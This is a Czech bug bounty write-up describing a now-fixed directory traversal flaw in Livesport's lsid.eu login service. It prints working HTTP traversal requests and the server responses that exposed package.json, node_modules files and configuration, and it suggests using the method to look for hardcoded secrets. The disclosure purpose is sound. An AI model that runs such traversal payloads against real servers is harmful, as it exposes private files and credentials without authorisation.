Úvod
Zranitelnost typu Directory Traversal byla identifikována a zodpovědně nahlášena prostřednictvím oficiálního bug bounty programu společnosti Livesport. Zranitelnost se nacházela na https://lsid.eu, což je služba, která tvoří klíčovou součást https://livesport.cz, protože jde o Node JS server pro registrace, přihlašování a správu uživatelských dat.
Pokud se tedy chceme přihlásit ke svému účtu na https://livesport.cz, jeden z požadavků odeslaných na LSID by vypadal takto:
POST /v3/login HTTP/1.1
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.livesport.cz/
Content-Type: text/plain;charset=UTF-8
Content-Length: 131
Origin: https://www.livesport.cz
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
{"email":"aaa@x.cc","password":"password","namespace":"flashscore","project":1}
Některé další API endpointy, které jsou součástí LSID:
/v2/login
/v2/registration
/v2/logout
/v3/login
/v3/termsagree
/v3/verification
/v4/getdata
/v5/users/me/marketing-approval
/v5/users/me/terms
\[...\]
Popis
Navzdory ochranám a validačním mechanismům, které se zdály být na serveru implementovány, bylo přesto možné libovolně procházet soubory a adresáře pod cestou /home/fsnodeuser/app/*.
To umožnilo přístup k souborům jako:
package.jsonpackage-lock.json
Stejně jako k různým adresářům jako:
node_modulesdistlib
a dalším.
Konkrétně soubor package.json odhalil metadata projektu a informace o jeho závislostech, včetně interních závislostí jako @flashscore/<name>, které jsou nutné pro běh aplikace v produkčním prostředí. Soubor rovněž obsahoval informace související s buildem, včetně umístění interního NPM registru, přispěvatelů a domovské stránky, ze které bylo možné projekt stáhnout.
Write-up
Přešel jsem na URL https://lsid.eu

Poté jsem ji profuzzoval nástrojem ffuf a zjistil, že adresář /public je přístupný, i když se zdá být špatně nakonfigurovaný, protože vrací 500 Internal Server Error.

A pokud se například odešle následující požadavek, server vrátí úplnou cestu a uživatelské jméno opět naznačuje, že aplikace běží na Node.js

Požadavek je možné upravit přidáním sekvencí path traversal ../ a přesunout se do adresáře /home/fsnodeuser/app, což pak umožňuje procházet soubory a adresáře patřící aplikaci. V níže uvedeném příkladu byl získán obsah souboru package.json.
Request:
GET /public/a/../../package.json HTTP/2
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101
Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Response:
HTTP/2 200 OK
Date: Sun, 09 Feb 2025 22:58:03 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: ca2bc4ea639d8137725d5924f7ad9008
Strict-Transport-Security: max-age=31536000; includeSubDomains
{"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,108,115,105,100,3 4,44,10,9,34,118,101,114,115,105,111,110,34,58,32,34,55,46,51,46,55,34,44,10,9,3
4,116,101,109,112,108,97,116,101,86,101,114,115,105,111,110,34,58,32,34,49,46,57,4
6,51,34,44,10,9,34,100,101,115,
[...]
Odpověď obsahující výstup Bufferu je v obou případech (package.json i package-lock.json) poměrně dlouhá, takže jsem se rozhodl zahrnout jen částečný výřez. Protože každé číslo v poli data odpovídá ASCII hodnotě znaku ze souboru package.json, lze jej převést do čitelné JSON reprezentace.
Addendum:
Souhrn souborů objevených v /home/fsnodeuser/app:
package.jsonpackage-lock.json
Objevené adresáře:
distnode_modules/
Jak lze identifikovat existující adresáře – příklad: node_modules
Request:
GET /public/a/..;/..;/..;/..;/..;/../../../../../../../node_modules HTTP/2
Host: lsid.eu
Response:
HTTP/2 500 Internal Server Error
Date: Tue, 20 Aug 2024 10:10:12 GMT
Content-Type: application/json; charset=UTF-8
X-Transaction-Id: 5dc70e858e61df37701e37ff3e1fa0da
Strict-Transport-Security: max-age=31536000; includeSubDomains
{"code":0,"message":"Error reading file: \"/node_modules \".","name":"InternalServerError"}
Ačkoli server vrací chybovou zprávu – „500 Internal Server Error“ – prozrazuje nám, že adresář existuje, takže s tím lze v dalších krocích pracovat. Vezměme tedy Buffer z předchozí odpovědi a převeďme jej do čitelného formátu, abychom získali soubor package.json:
#!/usr/bin/env python3
import json
buffer_data = [123,10,9,34,110,97,109,101,34 ....the rest of the buffer...]
json_string = ''.join(chr(byte) for byte in buffer_data)
parsed_json = json.loads(json_string)
print(json.dumps(parsed_json, indent=4)) # Pretty print the JSON
Čitelná verze souboru package.json pro lsid.eu (některé části byly záměrně „redigovány“):
{
"name": "lsid",
"version": "x.x.x",
"templateVersion": "x.x.x",
"description": "Node JS server for registrations, logins and managing user
data."
,
"keywords": [
"livesport",
"service"
,
"LSID",
"nodejs",
"typescript"
],
"files": [
"js"
],
"publishConfig": {
"registry": "xxxx"
},
"license": "UNLICENSED",
"author": "xxx Node Team <xxxx@livesport.eu> (https://xxx.atla
ssian.net/xxxxxxxx)",
"contributors": [
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>"
],
"main": "./dist/index.js",
"homepage": "https://...",
"repository": {
"type": "git",
"url": "git@..."
},
"engines": {
"node": ">=v20.11.1"
},
"scripts": {
"audit": "npm audit --registry=https://registry.npmjs.org/",
"audit-fix": "npm run audit -- fix",
"audit-prod": "npm run audit -- --production",
"build": "tsc -p tsconfig.build.json",
ci --registry=https://..../ && npm run build-dt",
"build-dev": "tsc -p tsconfig.dev.json && npm run postbuild",
"build-dev-watch": "tsc -p tsconfig.dev.json && (concurrently \"tsc -w\"
\"tsc-alias -w\")",
......
,
"build-dt": "npm run build -- -p tsconfig.json",
"build-prod": "npm run build -- -p tsconfig.prod.json",
"check-circular-dependencies": "npx madge -c --extensions ts --ts-confi
[...]
},
"dependencies": {
"@flashscore/redacted-core": "^3.0.1",
[...]
},
"devDependencies": {
[...]
}
}
V sekci dependencies je mnoho zajímavých in-house závislostí @flashscore. Pro účely tohoto příspěvku ale vezmu @flashscore/redacted-core
Získání package.json
GET /public/a/../../node_modules/@flashscore/redacted-core/package.json HTTP/2
Host: lsid.eu
Odpověď je stejně jako v předchozím případě „Buffer“, takže je potřeba ji opět převést do čitelného formátu:
HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:09:12 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: 7a6eca09a4db3cd451354bcef138a1d4
Strict-Transport-Security: max-age=31536000; includeSubDomains
{"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,64,102,108,97,11
5,104,115,99,111,114,101,47,115,101,
[...]
Převedený package.json
{
"name": "@flashscore/redacted-core"
,
"version": "3.0.1",
"description": "Package includes base classes for FS Node Team microservice projects."
,
"keywords": [
"core"
,
"service"
,
"classes",
"livesport",
"flashscore"
,
"javascript",
"typescript"
],
"publishConfig": {
"registry": "...."
},
"license": "UNLICENSED",
"author": "....)",
"contributors": [
[...]
],
"main": "./dist/index.js",
"exports": {
"
.": "./dist/index.js",
"./repositories/*": "./dist/lib/repositories/*/index.js"
},
"types": "./dist/index.d.ts",
"typesVersions": {
"*": {
"index.d.ts": [
"./dist/index.d.ts"
],
"repositories/*": [
"./dist/lib/repositories/*/index.d.ts"
]
}
},
"homepage": "....",
"repository": {
"type": "git",
"url": "git@...."
},
"engines": {
"node": ">=..."
},
"scripts": {},
"dependencies": {
"@flashscore/........
},
"peerDependencies": {
"@flashscore/.......
},
"peerDependenciesMeta": {
"@flashscore/.....": {
"optional": true
},
"knex": {
"optional": true
}
},
"devDependencies": {
"@commitlint/cli": "^......
"@flashscore/.......[...]
}
}
Je možné získat informace jak o autorech, tak popis toho, k čemu daná závislost slouží, a také jaké další závislosti může používat. Tímto způsobem lze tento postup opakovat pro každou závislost a získat informace o jakýchkoli interních
závislostech a hledat natvrdo zakódované přihlašovací údaje, tajemství, klíče, interní URL nebo citlivé informace.
V případě @flashscore/redacted-core byl objeven tento soubor tsconfig.test.json:
GET /public/a/../../node_modules/@flashscore/redacted-core/tsconfig.test.json HTTP/2
Host: lsid.eu
Response:
HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:07:48 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: d8301857fd786064b71cb78e5b32527d
Strict-Transport-Security: max-age=31536000; includeSubDomains
{"type":"Buffer", "data":[123,10,9,34,101,120,116,101,110,100,115,34,58,32,34,46,4 7,116,115,99,111,110,102,105,103,46,106,115,111,110,34,44,10,9,34,99,111,109,112,105,
108,101,114,79,112,116,105,111,110,115,34,58,32,123,10,9,9,34,115,111,117,114,99,101,7
7,97,112,34,58,32,116,114,117,101,10,9,125,10,125,10]}
Převedeno na:
{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": true
}
}
sourceMap je nastaveno na true. Tato informace by mohla být užitečná při fuzzingu JavaScriptu, kde by bylo možné automaticky testovat přípony .map a zjišťovat, zda odhalují nějaké potenciálně zranitelné části kódu nebo citlivé implementační detaily.
I na lsid.eu je možné procházet závislosti třetích stran jako knex, lodash, mysql2, pino atd. a zkoumat jednotlivé soubory, abychom zjistili, zda obsahují nějaké vlastní konfigurace nebo nastavení nutná pro správný chod aplikace Livesport/Flashscore.
Jeden další zajímavý příklad byl tento redis-client
Request:
GET /public/a/../../node_modules/@flashscore/redis-client/dist/index.d.ts HTTP/2
Host: lsid.eu
Response:
HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:45:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
X-Transaction-Id: b39a07144f2a736080595d51e351e8cf
Strict-Transport-Security: max-age=31536000; includeSubDomains
export * from './lib';
V tomto případě zde byl také soubor docker-compose.yml
Request:
GET /public/a/../../node_modules/@flashscore/redis-client/docker-compose.yml HTTP/2
Host: lsid.eu
Response:
HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:46:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 210
X-Transaction-Id: 08ecd5f4dc68b9fc1eb7528b489ddab6
Strict-Transport-Security: max-age=31536000; includeSubDomains
services:
redis:
image: <aaaa>/redis:test
restart: 'no'
ports:
- '6378:6379'
expose:
- '6378'
Časová osa
-
- února 2025: Zranitelnost byla nahlášena přes https://bugbounty.livesport.eu/
-
- února 2025: Tentýž den mě tým Product Security IRT společnosti Livesport informoval, že report obdrželi a budou jej dále zpracovávat.
-
- února 2025: Zranitelnost byla vyhodnocena jako platná a byl jsem informován, že už byla opravena.
-
- dubna 2025: $500.00 odměna a 7 bodů do Hall of Fame na https://bugbounty.livesport.eu/